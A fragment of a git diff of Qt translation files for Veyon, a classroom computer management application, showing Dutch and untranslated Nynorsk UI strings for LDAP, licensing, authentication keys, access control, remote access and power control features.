of (objectClass=computerLab) + + + e.g. (objectClass=container) or (objectClass=organizationalUnit) + bv. (objectClass=container) of (objectClass=organizationalUnit) + + + Could not query the configured base DN. Please check the base DN parameter. + +%1 + + + + The LDAP base DN has been queried successfully. The following entries were found: + +%1 + + + + Could not query the base DN via naming contexts. Please check the naming context attribute parameter. + +%1 + + + + Certificate files (*.pem) + + + + Could not connect to the LDAP server. Please check the server parameters. + +%1 + Kon geen verbinding maken met de LDAP server. Controleer de server parameters. + +%1 + + + Could not bind to the LDAP server. Please check the server parameters and bind credentials. + +%1 + + + + Encryption protocol + + + + + LdapPlugin + + Auto-configure the base DN via naming context + Automatiseer de base DN dmv. naamgevingscontext + + + Query objects from LDAP directory + Objecten opvragen uit LDAP directory + + + Show help about command + Toon hulp over commando + + + Commands for configuring and testing LDAP/AD integration + Commando's voor het configureren en testen van LDAP/AD-integratie + + + Provide LDAP/AD integration for Veyon + + + + LDAP (load computers and rooms from LDAP/AD) + + + + LDAP (load users and groups from LDAP/AD) + + + + + LicensingConfigurationPage + + Licensing + + + + Installed licenses + + + + Add new network range + + + + Remove selected network range + + + + ID + + + + Feature + + + + Valid until + + + + Licensee + + + + Browse license file + + + + Veyon license files (*.vlf) + + + + Remove license + + + + Do you really want to remove the selected license? + + + + <N/A> + <N/A> + + + Invalid license file + + + + Could not open the license file for reading! + + + + The selected license file does not contain valid data. + + + + The selected license file could not be verified. + + + + The selected license file is not valid for this installation. + + + + The selected license file is expired. + + + + The license is already installed. + + + + + LicensingPlugin + + Show help for specific command + + + + Show all installed licenses + + + + Add license file + + + + Remove installed license + + + + +USAGE + +%1 add <LICENSE FILE> + + + + + + +USAGE + +%1 remove <LICENSE ID> + + + + + + No certificate found with given ID + + + + <N/A> + <N/A> + + + Licensing management + + + + Commands for managing license keys + + + + + LinuxPlatformPlugin + + Plugin implementing abstract functions for the Linux platform + Plugin uitvoering van abstracte functies voor Linux + + + + MainToolBar + + Configuration + Configuratie + + + Disable balloon tooltips + Schakel ballontooltips uit + + + Show icons only + Toon enkel iconen + + + + MainWindow + + MainWindow + HoofdScherm + + + toolBar + werkbalk + + + General + Algemeen + + + &File + &Bestand + + + &Help + &Help + + + &Quit + &Stoppen + + + Ctrl+Q + Ctrl+Q + + + Ctrl+S + Ctrl+S + + + L&oad settings from file + &Laad instellingen uit bestand + + + Ctrl+O + Ctrl+O + + + About Qt + Over Qt + + + Authentication impossible + Authenticatie onmogelijk + + + Configuration not writable + Configuratie niet schrijfbaar + + + Load settings from file + Instellingen uit bestand laden + + + Save settings to file + Instellingen opslaan naar bestand + + + Unsaved settings + Niet-opgeslagen instellingen + + + There are unsaved settings. Quit anyway? + Er zijn niet-opgeslagen instellingen. Toch stoppen? + + + Veyon Configurator + Veyon Configurator + + + Service + Service + + + Master + Master + + + Access control + Toegangscontrole + + + About Veyon + Over Veyon + + + Auto + Auto + + + Computer rooms + Computerlokalen + + + About + Over + + + %1 Configurator %2 + %1 Configuratie %2 + + + JSON files (*.json) + JSON bestanden (*.json) + + + The local configuration backend reported that the configuration is not writable! Please run the %1 Configurator with higher privileges. + De lokale backend configuratie rapporteert dat de configuratie niet-schrijfbaar is. Start de %1 configurator met admin of hogere previleges. + + + No authentication key files were found or your current ones are outdated. Please create new key files using the %1 Configurator. Alternatively set up logon authentication using the %1 Configurator. Otherwise you won't be able to access computers using %1. + Er werden geen verificatiesleutels gevonden of de huidige zijn verlopen. Maak nieuwe sleutelbestanden aan, of als alternatief stel logon verificatie in, met de %1 configurator. U krijgt geen toegang tot computers, gebruikmakend van %1, indien u niet een van beide gebruikt. + + + Access denied + Toegang geweigerd + + + According to the local configuration you're not allowed to access computers in the network. Please log in with a different account or let your system administrator check the local configuration. + Volgens de lokale instellingen hebt u geen toelating tot de computers in het netwerk. Login met een ander gebruikersaccount of laat uw systeemadministrator de lokale instellingen nazien. + + + Screenshots + Schermafbeeldingen + + + Feature active + Functie actief + + + The feature "%1" is still active. Please stop it before closing %2. + Het programma %1 is nog steeds actief. Stop het alvorens %2 af te sluiten. + + + Reset configuration + Reset configuratie + + + Do you really want to reset the local configuration and revert all settings to their defaults? + Wilt u echt de lokale configuratie resetten en alle instellingen terugzetten naar hun standaardinstellingen? + + + Search users and computers + Zoek gebruikers en computers + + + Adjust optimal size + Pas de optimale grootte aan + + + Align computers to grid + Computers uitlijnen op rooster + + + Use custom computer placement + + + + %1 Configurator + %1 Configurator + + + Insufficient privileges + Onvoldoende toegangsrechten + + + Could not start with administrative privileges. Please make sure a sudo-like program is installed for your desktop environment! The program will be run with normal user privileges. + + + + Only show powered on computers + Toon alleen de ingeschakelde computers + + + &Save settings to file + &Instellingen opslaan naar bestand + + + &View + + + + &Standard + + + + &Advanced + + + + + MasterConfigurationPage + + Directories + Mappen + + + ... + ... + + + User configuration + Gebruikerconfiguratie + + + Feature on computer double click: + Functie op de computer bij double click: + + + Automatically switch to current room at start + Schakel automatisch over naar het huidige lokaal bij het starten + + + Features + Kenmerken + + + All features + Alle kenmerken + + + Disabled features + Uitgeschakelde functies + + + Perform access control at program start + voer toegangscontrole bij opstart uit + + + Screenshots + Schermafbeeldingen + + + <no feature> + <no feature> + + + Automatically adjust computer thumbnail size at start + Automatische grootte instelling van de miniatuur computerafbeeldingen bij opstart + + + Basic settings + Basisinstellingen + + + Behaviour + Gedrag + + + Enforce selected mode for client computers + Forceer de geselecteerde mode voor client computers + + + Only show current room + Toon enkel het huidige lokaal + + + Allow adding rooms manually + Sta toe lokalen manueel toe te voegen + + + Hide local computer + Verberg lokale computer + + + Hide empty rooms + Verberg lege lokalen + + + Hide computer filter field + Verberg computerfilter + + + Actions such as rebooting or powering down computers + Acties zoals herstarten of uitschakelen van computers + + + Show confirmation dialog for potential dangerous actions + Bevestiging dialoogvenster voor potentieel gevaarlijke acties weergeven + + + User interface + Gebruikersomgeving + + + Background color + Achtergrond kleur + + + Thumbnail update interval + + + + ms + ms + + + Program start + Start programma + + + Modes and features + + + + User and computer name + Gebruiker en computer naam + + + Only user name + Alleen gebruikersnaam + + + Only computer name + Alleen computernaam + + + Computer thumbnail caption + + + + Computer rooms + Computerlokalen + + + Automatically open computer rooms widget + + + + Text color + Tekstkleur + + + Sort order + + + + Computer and user name + + + + + MonitoringMode + + Monitoring + Toezicht + + + Builtin monitoring mode + Ingebouwde monitoring modus + + + This is the default mode and allows you to monitor all computers in one or more rooms. + Dit is de standaardmodus die u toezicht geeft over alle computers in een of meerdere lokalen. + + + + NetworkDiscoveryConfigurationPage + + Network discovery + + + + Mode + + + + Scan network ranges + + + + e.g. 192.168.1.0/24 + + + + Scan all subnets of computer + + + + Scan custom subnet + + + + Scan sessions on local computer + + + + Test + Test + + + Network ranges + + + + Add new group + Nieuwe groep toevoegen + + + Remove selected group + Geselecteerde groep verwijderen + + + Groups + Groepen + + + First address + Eerste adres + + + Last address + Laatste adres + + + Add new network range + + + + Remove selected network range + + + + Parallel scans + + + + Scan timeout + + + + ms + ms + + + Session scan limit + + + + New group + Nieuwe groep + + + Options + + + + Reverse lookup discovered IP addresses to host names + + + + + NetworkDiscoveryDirectory + + Scanning... + + + + Discovered computers + + + + + NetworkDiscoveryPlugin + + Show help for specific command + + + + Scan a subnet + + + + +USAGE + +%1 scan [<SUBNET>] + + + + + + Network object directory which automatically discovers computers in the network + + + + Network discovery (scan network for Veyon clients) + + + + Commands for managing the network discovery directory + + + + + NetworkObjectTreeModel + + Room/Computer + Lokaal/computer + + + + PasswordDialog + + Username + Gebruikersnaam + + + Password + Wachtwoord + + + Veyon Logon + Veyon inloggen + + + Authentication error + Authenticatie fout + + + Logon failed with given username and password. Please try again! + Inloggen mislukt met de opgegeven gebruikersnaam en wachtwoord. Probeer het opnieuw! + + + Please enter your username and password in order to access computers. + Geef uw gebruikersnaam en paswoord in om toegang tot de computers te krijgen. + + + + PowerControlFeaturePlugin + + Power on + Aanzetten + + + Click this button to power on all computers. This way you do not have to power on each computer by hand. + Klik op deze knop om alle computers aan te zetten. Op deze manier hoef je niet elke computer handmatig aan te zetten. + + + Reboot + Herstarten + + + Click this button to reboot all computers. + Klik op deze knop om alle computer te herstarten. + + + Power down + Uitzetten + + + Click this button to power down all computers. This way you do not have to power down each computer by hand. + Klik op deze knop om alle computers uit te schakelen. Op deze manier hoeft u niet elke computer apart manueel uit te schakelen. + + + Power on/down or reboot a computer + Computer aan-/uitzetten of herstarten + + + Confirm reboot + Bevestig heropstart + + + Confirm power down + Bevestig uischakelen + + + Do you really want to reboot the selected computers? + Wilt u werkelijk de geselecteerde computers heropstarten? + + + Do you really want to power down the selected computer? + Wilt u werkelijk de geselecteerde computers uitschakelen? + + + Power on a computer via Wake-on-LAN (WOL) + + + + MAC ADDRESS + MAC ADRES + + + This command broadcasts a Wake-on-LAN (WOL) packet to the network in order to power on the computer with the given MAC address. + + + + Please specify the command to display help for! + + + + Invalid MAC address specified! + Ongeldig MAC adres! + + + Commands for controlling power status of computers + + + + + RemoteAccessFeaturePlugin + + Remote view + Meekijken op afstand + + + Open a remote view for a computer without interaction. + Open een remote view zonder interactie voor een computer. + + + Remote control + Overnemen op afstand + + + Open a remote control window for a computer. + Open een remote control venster voor een computer. + + + Remote access + Toegang op afstand + + + Remote view or control a computer + Meekijken of overnemen op afstand + + + Please enter the hostname or IP address of the computer to access: + Voer de hostnaam of het IP-adres van de computer in waartoe u toegang wil: + + + Show help about command + Toon hulp over commando + + + + RemoteAccessWidget + + %1 - %2 Remote Access + + + + + RemoteAccessWidgetToolBar + + View only + Alleen bekijken + + + Remote control + Remote control + + + Send shortcut + Stuur snelkoppeling + + + Fullscreen + Volledig scherm + + + Window + Venster + + + Quit + Afsluiten + + + Ctrl+Alt+Del + Ctrl+Alt+Del + + + Ctrl+Esc + Ctrl+Esc + + + Alt+Tab + Alt+Tab + + + Alt+F4 + Alt+F4 + + + Win+Tab + Win+Tab + + + Win + Win + + + Menu + Menu + + + Alt+Ctrl+F1 + Alt+Ctrl+F1 + + + Connecting %1 + Verbinden met %1 + + + Connected. + Verbonden. + + + Screenshot + Schermafbeelding + + + + RoomSelectionDialog + + Room selection + Lokaalkeuze + + + enter search filter... + vul zoekfilter in... + + + + Routing + + Control internet access by modifying routing table + + + + + RoutingConfigurationWidget + + Remove default routes to block internet access + + + + Add custom route to block internet + + + + Destination + + + + Gateway + + + + + RunProgramDialog + + Please enter the programs or commands to run on the selected computer(s). You can separate multiple programs/commands by line. + Voer alsjeblieft de programma's of commando's in om op de geselecteerde computer(s) te draaien. U kunt meerdere programma's / opdrachten per lijn scheiden. + + + Run programs + Voer programma's uit + + + e.g. "C:\Program Files\VideoLAN\VLC\vlc.exe" + bv. "C:\Program Files\VideoLAN\VLC\vlc.exe" + + + + ScreenLockFeaturePlugin + + Lock + Vergrendelen + + + Unlock + Ontgrendelen + + + Lock screen and input devices of a computer + Blokkeer scherm en invoerapparaten van een computer + + + To reclaim all user's full attention you can lock their computers using this button. In this mode all input devices are locked and the screens are blacked. + Om de volledige aandacht van alle gebruikers te eisen, kunt u hun computers vergrendelen met deze knop. In deze modus zijn alle invoerapparaten vergrendeld en de schermen zijn zwart. + + + + Screenshot + + unknown + onbekend + + + Could not take a screenshot as directory %1 doesn't exist and couldn't be created. + Kon geen schermafbeelding maken omdat de map %1 niet bestaat en niet gemaakt kon worden. + + + Screenshot + Schermafbeelding + + + + ScreenshotFeaturePlugin + + Screenshot + Schermafbeelding + + + Use this function to take a screenshot of selected computers. + Gebruik deze functie als je een schermafbeelding van de geselecteerde computers wilt maken. + + + Screenshots taken + Schermafbeeldingen gemaakt + + + Screenshot of %1 computer have been taken successfully. + Schermafbeelding van %1 computer is gemaakt. + + + Take screenshots of computers and save them locally. + Maak schermafbeeldingen van computers en sla ze lokaal op. + + + + ScreenshotManagementView + + User: + Gebruiker: + + + Date: + Datum: + + + Time: + Tijd: + + + Show + Toon + + + Delete + Verwijder + + + All screenshots taken by you are listed here. You can take screenshots by clicking the "Screenshot" item in the context menu of a computer. The screenshots can be managed using the buttons below. + Alle screenshots die door u zijn gemaakt, worden hier vermeld. U kunt screenshots maken door op het "Screenshot" item in het contextmenu van een computer te klikken. De screenshots kunnen worden beheerd met behulp van onderstaande knoppen. + + + Computer: + Computer: + + + + ServiceConfigurationPage + + General + Algemeen + + + Autostart + Automatische start + + + Hide tray icon + Pictogram in het systeemvak verbergen + + + Start service + Start service + + + Stopped + Gestopt + + + Stop service + Stop service + + + State: + Staat: + + + Enable SAS generation by software (Ctrl+Alt+Del) + Zet SAS generatie door software aan (Ctrl + Alt + Del) + + + Network + Netwerk + + + Demo server port + Demo server poort + + + Enable firewall exception + Schakel firewall uitzondering in + + + Allow connections from localhost only + Sta alleen verbindingen van localhost toe + + + Internal VNC server port + Interne VNC server poort + + + VNC server + VNC server + + + Plugin: + Plugin: + + + Restart %1 Service + Herstart %1 Service + + + All settings were saved successfully. In order to take effect the %1 service needs to be restarted. Restart it now? + Alle instellingen zijn goed opgeslagen. Om de instellingen van kracht te laten worden moet de %1 service dienst opnieuw worden opgestart. Wil je deze nu herstarten? + + + Running + Gestart + + + Feature manager port + Feature manager poort + + + Primary service port + Primaire service poort + + + Enabling this option will make the service launch a server process for every interactive session on a computer. +Typically this is required to support terminal servers. + + + + Multi session support (experimental) + + + + Show notification on remote connection + + + + Show notification on failed authentication attempts + + + + + ServiceControl + + Starting service %1 + + + + Stopping service %1 + + + + Registering service %1 + + + + Unregistering service %1 + + + + Service control + + + + + ServiceControlPlugin + + Service is running + Service is actief + + + Service is not running + Service is niet actief + + + Configure and control Veyon service + Configureer en beheer Veyon service + + + Register Veyon Service + Registreer Veyon Service + + + Unregister Veyon Service + Onregistreer Veyon Service + + + Start Veyon Service + Start Veyon Service + + + Stop Veyon Service + Stop Veyon Service + + + Restart Veyon Service + Herstart Veyon Service + + + Query status of Veyon Service + Bevraag status van Veyon Service + + + Commands for configuring and controlling Veyon Service + Commando's voor het configureren en besturen van Veyon Service + + + + ShellCommandLinePlugin + + Run command file + + + + File "%1" does not exist! + + + + Interactive shell and script execution for Veyon Control + + + + Commands for shell functionalities + + + + + SystemTrayIcon + + System tray icon + Systeemvak icoon + + + + SystemUserGroupsPlugin + + User groups backend for system user groups + + + + Default (system user groups) + + + + + TextMessageDialog + + Send text message + Stuur tekstbericht + + + Use the field below to type your message which will be sent to all selected users. + Gebruik de onderstaande veld om uw bericht dat voor alle geselecteerde gebruikers wordt verzonden te typen. + + + + TextMessageFeaturePlugin + + Text message + Tekstbericht + + + Use this function to send a text message to all users e.g. to assign them new tasks. + Gebruik deze functie om een tekstbericht naar alle gebruikers te sturen om bijvoorbeeld hen taken toe te wijzen. + + + Message from teacher + Bericht van de leraar + + + Send a message to a user + Stuur een bericht naar een gebruiker + + + + UltraVncConfigurationWidget + + Enable capturing of layered (semi-transparent) windows + Inschakelen capturing van gelaagde (semi-transparante) schermen + + + Poll full screen (leave this enabled per default) + Start het volledige scherm (laat dit standaard ingeschakeld) + + + Low accuracy (turbo mode) + Lage nauwkeurigheid (turbo-modus) + + + Builtin UltraVNC server configuration + Ingebouwde UltraVNC server configuratie + + + Enable multi monitor support + + + + Enable Desktop Duplication Engine on Windows 8 and newer + + + + + UserConfig + + No write access + Geen schrijftoegang + + + Could not save your personal settings! Please check the user configuration file path using the %1 Configurator. + Kon uw persoonlijke instellingen niet opslaan! Controleer het gebruikersconfiguratiebestandspad door gebruik te maken van de %1 Configurator. + + + + UserSessionControl + + User session control + Gebruikers sessie controle + + + Click this button to logout users from all computers. + Klik op deze knop om gebruikers van alle computers af te melden. + + + Confirm user logout + Bevestig uitloggen gebruiker + + + Do you really want to logout the selected users? + Wilt u werkelijk de geselecteerde gebruikers uitloggen? + + + Logout + Afmelden + + + + VeyonCore + + [OK] + [OK] + + + [FAIL] + [FAIL] + + + Invalid command! + Ongeldig commando! + + + Available commands: + Beschikbare commando's: + + + Invalid arguments given + Ongeldige argumenten gegeven + + + Not enough arguments given - use "%1 help" for more information + Niet genoeg argumenten opgegeven - gebruik "%1 help" voor meer informatie + + + Unknown result! + Onbekend resultaat! + + + Available modules: + Beschikbare modules: + + + No module specified or module not found - available modules are: + + + + Plugin not licensed + + + + INFO + + + + ERROR + + + + licensed for + + + + + VeyonServiceControl + + Veyon Service + + + + + VncView + + Establishing connection to %1 ... + Verbinding tot stand brengen naar %1 ... + + + + WindowsPlatformPlugin + + Plugin implementing abstract functions for the Windows platform + Uitvoering plugin abstracte functies voor Windows + + + + WindowsServiceControl + + WindowsServiceControl: the service "%1" is already installed. + + + + WindowsServiceControl: the service "%1" could not be installed. + + + + WindowsServiceControl: the service "%1" has been installed successfully. + + + + WindowsServiceControl: the service "%1" could not be uninstalled. + + + + WindowsServiceControl: the service "%1" has been uninstalled successfully. + + + + WindowsServiceControl: the start type of service "%1" could not be changed. + + + + WindowsServiceControl: service "%1" could not be found. + + + + + X11VncConfigurationWidget + + Builtin x11vnc server configuration + Ingebouwde x11vnc server configuratie + + + Custom x11vnc parameters: + Aangepaste x11vnc parameters: + + + Do not use X Damage extension + Gebruik geen X Damage extensie + + + \ No newline at end of file diff --git a/translations/nn.ts b/translations/nn.ts new file mode 100644 index 0000000..21888f2 --- /dev/null +++ b/translations/nn.ts @@ -0,0 +1,3815 @@ + + + AboutDialog + + About + + + + Translation + + + + License + + + + About Veyon + + + + Contributors + + + + Version: + + + + Website: + + + + Current language not translated yet (or native English). + +If you're interested in translating Veyon into your local or another language or want to improve an existing translation, please contact a Veyon developer! + + + + About %1 %2 + + + + Support Veyon project with a donation + + + + + AccessControlPage + + Computer access control + + + + Grant access to every authenticated user (default) + + + + Test + + + + Restrict access to members of certain user groups + + + + Process access control rules + + + + User groups authorized for computer access + + + + Please add the groups whose members should be authorized to access computers in your Veyon network. + + + + Authorized user groups + + + + All groups + + + + ... + + + + Access control rules + + + + Add access control rule + + + + Remove access control rule + + + + Move selected rule down + + + + Move selected rule up + + + + Edit selected rule + + + + Enter username + + + + Please enter a user login name whose access permissions to test: + + + + Access allowed + + + + The specified user is allowed to access computers with this configuration. + + + + Access denied + + + + The specified user is not allowed to access computers with this configuration. + + + + Enable usage of domain groups + + + + User groups backend: + + + + Missing user groups backend + + + + No default user groups plugin was found. Please check your installation! + + + + + AccessControlRuleEditDialog + + Edit access control rule + + + + General + + + + enter a short name for the rule here + + + + Rule name: + + + + enter a description for the rule here + + + + Rule description: + + + + Invert all conditions ("is/has" interpreted as "is/has not") + + + + Conditions + + + + is member of group + + + + is located in room + + + + Accessing computer is localhost + + + + Accessing user is logged on user + + + + Accessing user is already connected + + + + If more than one condition is activated each condition has to meet in order to make the rule apply (logical AND). If only one of multiple conditions has to meet (logical OR) please create multiple access control rules. + + + + Action + + + + Allow access + + + + Deny access + + + + Ask logged on user for permission + + + + None (rule disabled) + + + + Accessing user + + + + Accessing computer + + + + Local (logged on) user + + + + Local computer + + + + Always process rule and ignore conditions + + + + No user logged on + + + + Accessing computer is located in the same room as local computer + + + + Accessing user has one or more groups in common with local (logged on) user + + + + + AccessControlRulesTestDialog + + Access control rules test + + + + Accessing user: + + + + Local computer: + + + + Accessing computer: + + + + Please enter the following user and computer information in order to test the configured ruleset. + + + + Local user: + + + + Connected users: + + + + The access in the given scenario is allowed. + + + + The access in the given scenario is denied. + + + + The access in the given scenario needs permission of the logged on user. + + + + ERROR: Unknown action + + + + Test result + + + + + AuthKeysConfigurationPage + + Authentication keys + + + + Introduction + + + + Key file directories + + + + Public key file base directory + + + + Private key file base directory + + + + ... + + + + Available authentication keys + + + + Create key pair + + + + Delete key + + + + Import key + + + + Export key + + + + Set access group + + + + Key files (*.pem) + + + + Authentication key name + + + + Please enter the name of the user group or role for which to create an authentication key pair: + + + + Do you really want to delete authentication key "%1/%2"? + + + + Please select a key to delete! + + + + Please enter the name of the user group or role for which to import the authentication key: + + + + Please select a key to export! + + + + Please select a user group which to grant access to key "%1": + + + + Please select a key which to set the access group for! + + + + Please perform the following steps to set up key file authentication: + + + + 1) Create a key pair on the master computer. + + + + 2) Set an access group whose members should be allowed to access other computers. + + + + 3) Export the public key and import it on all client computers with the same name. + + + + Please refer to the <a href="https://veyon.readthedocs.io/en/latest/admin/index.html">Veyon Administrator Manual</a> for more information. + + + + An authentication key pair consist of two coupled cryptographic keys, a private and a public key. +A private key allows users on the master computer to access client computers. +It is important that only authorized users have read access to the private key file. +The public key is used on client computers to authenticate incoming connection request. + + + + + AuthKeysManager + + Please check your permissions. + + + + Key name contains invalid characters! + + + + Invalid key type specified! Please specify "%1" or "%2". + + + + Specified key does not exist! Please use the "list" command to list all installed keys. + + + + One or more key files already exist! Please delete them using the "delete" command. + + + + Creating new key pair for "%1" + + + + Failed to create public or private key! + + + + Newly created key pair has been saved to "%1" and "%2". + + + + Could not remove key file "%1"! + + + + Could not remove key file directory "%1"! + + + + Failed to create directory for output file. + + + + File "%1" already exists. + + + + Failed to write output file. + + + + Key "%1/%2" has been exported to "%3" successfully. + + + + Failed read input file. + + + + File "%1" does not contain a valid private key! + + + + File "%1" does not contain a valid public key! + + + + Failed to create directory for key file. + + + + Failed to write key file "%1". + + + + Failed to set permissions for key file "%1"! + + + + Key "%1/%2" has been imported successfully. Please check file permissions of "%3" in order to prevent unauthorized accesses. + + + + Failed to convert private key to public key + + + + Failed to create directory for private key file "%1". + + + + Failed to save private key in file "%1"! + + + + Failed to set permissions for private key file "%1"! + + + + Failed to create directory for public key file "%1". + + + + Failed to save public key in file "%1"! + + + + Failed to set permissions for public key file "%1"! + + + + Failed to set owner of key file "%1" to "%2". + + + + Failed to set permissions for key file "%1". + + + + Key "%1" is now accessible by user group "%2". + + + + <N/A> + + + + Failed to read key file. + + + + + AuthKeysPlugin + + Create new authentication key pair + + + + Delete authentication key + + + + List authentication keys + + + + Import public or private key + + + + Export public or private key + + + + Extract public key from existing private key + + + + Set user group allowed to access a key + + + + KEY + + + + ACCESS GROUP + + + + This command adjusts file access permissions to <KEY> such that only the user group <ACCESS GROUP> has read access to it. + + + + NAME + + + + This command creates a new authentication key pair with name <NAME> and saves private and public key to the configured key directories. + + + + This command deletes the authentication key <KEY> from the configured key directory. Please note that a key can't be recovered once deleted. + + + + FILE + + + + This command exports the authentication key <KEY> to <FILE>. If <FILE> is not specified a name will be constructed from name and type of <KEY>. + + + + This command imports the authentication key <KEY> from <FILE>. If <FILE> is not specified a name will be constructed from name and type of <KEY>. + + + + This command lists all available authentication keys in the configured key directory. If the option "%1" is specified a table with key details will be displayed instead. Some details might be missing if a key is not accessible e.g. due to the lack of read permissions. + + + + This command extracts the public key part from the private key <KEY> and saves it as the corresponding public key. + + + + Please specify the command to display help for! + + + + TYPE + + + + PAIR ID + + + + Command line support for managing authentication keys + + + + Commands for managing authentication keys + + + + + AuthKeysTableModel + + Name + + + + Type + + + + Access group + + + + Pair ID + + + + + BuiltinDirectoryConfigurationPage + + Rooms & computers + + + + Rooms + + + + Computers + + + + Name + + + + Host address/IP + + + + MAC address + + + + Add new room + + + + Remove selected room + + + + Add new computer + + + + Remove selected computer + + + + New room + + + + New computer + + + + Builtin directory + + + + + BuiltinDirectoryPlugin + + Show help for specific command + + + + Add a room or computer + + + + Clear all rooms and computers + + + + Dump all or individual rooms and computers + + + + List all rooms and computers + + + + Remove a room or computer + + + + Import objects from given file + + + + Export objects to given file + + + + Invalid type specified. Valid values are "%1" or "%2". + + + + Type + + + + Name + + + + Host address + + + + MAC address + + + + Specified object not found. + + + + File "%1" does not exist! + + + + Can't open file "%1" for reading! + + + + Unknown argument "%1". + + + + Room "%1" + + + + Computer "%1" (host address: "%2" MAC address: "%3") + + + + Unclassified object "%1" with ID "%2" + + + + None + + + + Room + + + + Computer + + + + Root + + + + Invalid + + + + Error while parsing line %1. + + + + Network object directory which stores objects in local configuration + + + + Builtin (computers and rooms in local configuration) + + + + Commands for managing the builtin network object directory + + + + No format string or regular expression specified! + + + + Can't open file "%1" for writing! + + + + No format string specified! + + + + +USAGE + +%1 export <FILE> [room <ROOM>] [format <FORMAT-STRING-WITH-VARIABLES>] + +Valid variables: %type% %name% %host% %mac% %room% + +Examples: + +* Export all objects to a CSV file: + + %1 export objects.csv format "%type%;%name%;%host%;%mac%" + +* Export all computers in a room to a CSV file: + + %1 export computers.csv room "Room 01" format "%name%;%host%;%mac%" + + + + + + +USAGE + +%1 add <TYPE> <NAME> [<HOST ADDRESS> <MAC ADDRESS> <PARENT>] + +Adds an object where TYPE can be one of "%2" or "%3". PARENT can be specified by name or UUID. + +Examples: + +* Add a room: + + %1 add room "Room 01" + +* Add a computer to room "Room 01": + + %1 add computer "Computer 01" comp01.example.com 11:22:33:44:55:66 "Room 01" + + + + + + +USAGE + +%1 remove <OBJECT> + +Removes the specified object from the directory. OBJECT can be specified by name or UUID. Removing a room will also remove all computers inside. + +Examples: + +* Remove a computer by name: + + %1 remove "Computer 01" + +* Remove an object by UUID: + + %1 remove 068914fc-0f87-45df-a5b9-099a2a6d9141 + + + + + + Object UUID + + + + Parent UUID + + + + +USAGE + +%1 import <FILE> [room <ROOM>] [format <FORMAT-STRING-WITH-VARIABLES>] [regex <REGULAR-EXPRESSION-WITH-VARIABLES>] + +Valid variables: %type% %name% %host% %mac% %room% + +Examples: + +* Import simple CSV file to a single room: + + %1 import computers.csv room "Room 01" format "%name%;%host%;%mac%" + +* Import CSV file with room name in first column: + + %1 import computers-with-rooms.csv format "%room%,%name%,%mac%" + +* Import text file with with key/value pairs using regular expressions: + + %1 import hostlist.txt room "Room 01" regex "^NAME:(%name%:.*)\s+HOST:(%host%:.*)$" + +* Import arbitrarily formatted data: + + %1 import data.txt regex '^"(%room%:[^"]+)";"(%host%:[a-z\d\.]+)".*$' + + + + + + BuiltinUltraVncServer + + Builtin VNC server (UltraVNC) + + + + + BuiltinX11VncServer + + Builtin VNC server (x11vnc) + + + + + ComputerControlListModel + + Room: %1 + + + + Host/IP address: %1 + + + + Active features: %1 + + + + Online and connected + + + + Establishing connection + + + + Computer offline or switched off + + + + Service unreachable or not running + + + + Authentication failed or access denied + + + + Disconnected + + + + No user logged on + + + + Logged on user: %1 + + + + + ComputerControlServer + + %1 Service %2 at %3:%4 + + + + Authentication error + + + + Remote access + + + + User "%1" at host "%2" is now accessing this computer. + + + + User "%1" at host "%2" attempted to access this computer but could not authenticate successfully! + + + + + ComputerManagementView + + Computer management + + + + Add room + + + + Save computer/user list + + + + Select output filename + + + + CSV files (*.csv) + + + + File error + + + + Could not write the computer and users list to %1! Please check the file access permissions. + + + + Computer search + + + + + ComputerManager + + User + + + + Missing network object directory plugin + + + + No default network object directory plugin was found. Please check your installation or configure a different network object directory backend via %1 Configurator. + + + + Computer name;Host name;User + + + + Room detection failed + + + + Could not determine the room which this computer belongs to. This indicates a problem with the system configuration. All rooms will be shown in the computer management instead. + + + + + ConfigCommandLinePlugin + + Please specify an existing configuration file to import. + + + + Please specify a valid filename for the configuration export. + + + + Please specify a valid key. + + + + Specified key does not exist in current configuration! + + + + Please specify a valid value. + + + + Configure Veyon at command line + + + + Output file is not writable! + + + + Output directory is not writable! + + + + Configuration file is not readable! + + + + Clear system-wide Veyon configuration + + + + List all configuration keys and values + + + + Import configuration from given file + + + + Export configuration to given file + + + + Read and output configuration value for given key + + + + Write given value to given configuration key + + + + Unset (remove) given configuration key + + + + Commands for managing the configuration of Veyon + + + + Upgrade and save configuration of program and plugins + + + + + ConfigurationManager + + Could not modify the autostart property for the %1 Service. + + + + Could not configure the firewall configuration for the %1 Server. + + + + Could not configure the firewall configuration for the %1 Worker. + + + + Could not change the setting for SAS generation by software. Sending Ctrl+Alt+Del via remote control will not work! + + + + Configuration is not writable. Please check your permissions! + + + + + DemoClient + + %1 Demo + + + + + DemoConfigurationPage + + Demo server + + + + Tunables + + + + ms + + + + Key frame interval + + + + Memory limit + + + + Use multithreading (experimental) + + + + MB + + + + Update interval + + + + s + + + + + DemoFeaturePlugin + + Fullscreen demo + + + + Stop demo + + + + Window demo + + + + Give a demonstration by screen broadcasting + + + + Demo server + + + + In this mode your screen is being displayed in fullscreen mode on all computers while input devices of the users are locked. + + + + In this mode your screen being displayed in a window on all computers. The users are able to switch to other windows as needed. + + + + + DesktopAccessDialog + + Desktop access dialog + + + + Confirm desktop access + + + + Never for this session + + + + Always for this session + + + + The user %1 at computer %2 wants to access your desktop. Do you want to grant access? + + + + + DesktopServicesConfigurationPage + + Programs & websites + + + + Predefined programs + + + + Name + + + + Path + + + + Add new program + + + + Remove selected program + + + + Predefined websites + + + + Remove selected website + + + + URL + + + + New program + + + + New website + + + + + DesktopServicesFeaturePlugin + + Run program + + + + Open website + + + + Click this button to open a website on all computers. + + + + Please enter the URL of the website to open: + + + + Start programs and services in user desktop + + + + Click this button to run a program on all computers. + + + + Run program "%1" + + + + Custom program + + + + Open website "%1" + + + + Custom website + + + + + ExternalVncServer + + External VNC server + + + + + ExternalVncServerConfigurationWidget + + External VNC server configuration + + + + Port: + + + + Password: + + + + + FeatureControl + + Feature control + + + + + FileTransferController + + Could not open file "%1" for reading! Please check your permissions! + + + + + FileTransferDialog + + File transfer + + + + Options + + + + Transfer only + + + + Transfer and open file(s) with associated program + + + + Transfer and open destination folder + + + + Files + + + + Start + + + + Overwrite existing files + + + + + FileTransferPlugin + + File transfer + + + + Click this button to transfer files from your computer to all computers. + + + + Select one or more files to transfer + + + + Transfer files to remote computer + + + + Received file "%1". + + + + Could not receive file "%1" as it already exists. + + + + Could not receive file "%1" as it could not be opened for writing! + + + + + GeneralConfigurationPage + + User interface + + + + Language: + + + + Use system language setting + + + + Veyon + + + + Logging + + + + Log file directory + + + + ... + + + + Log level + + + + Nothing + + + + Only critical messages + + + + Errors and critical messages + + + + Warnings and errors + + + + Information, warnings and errors + + + 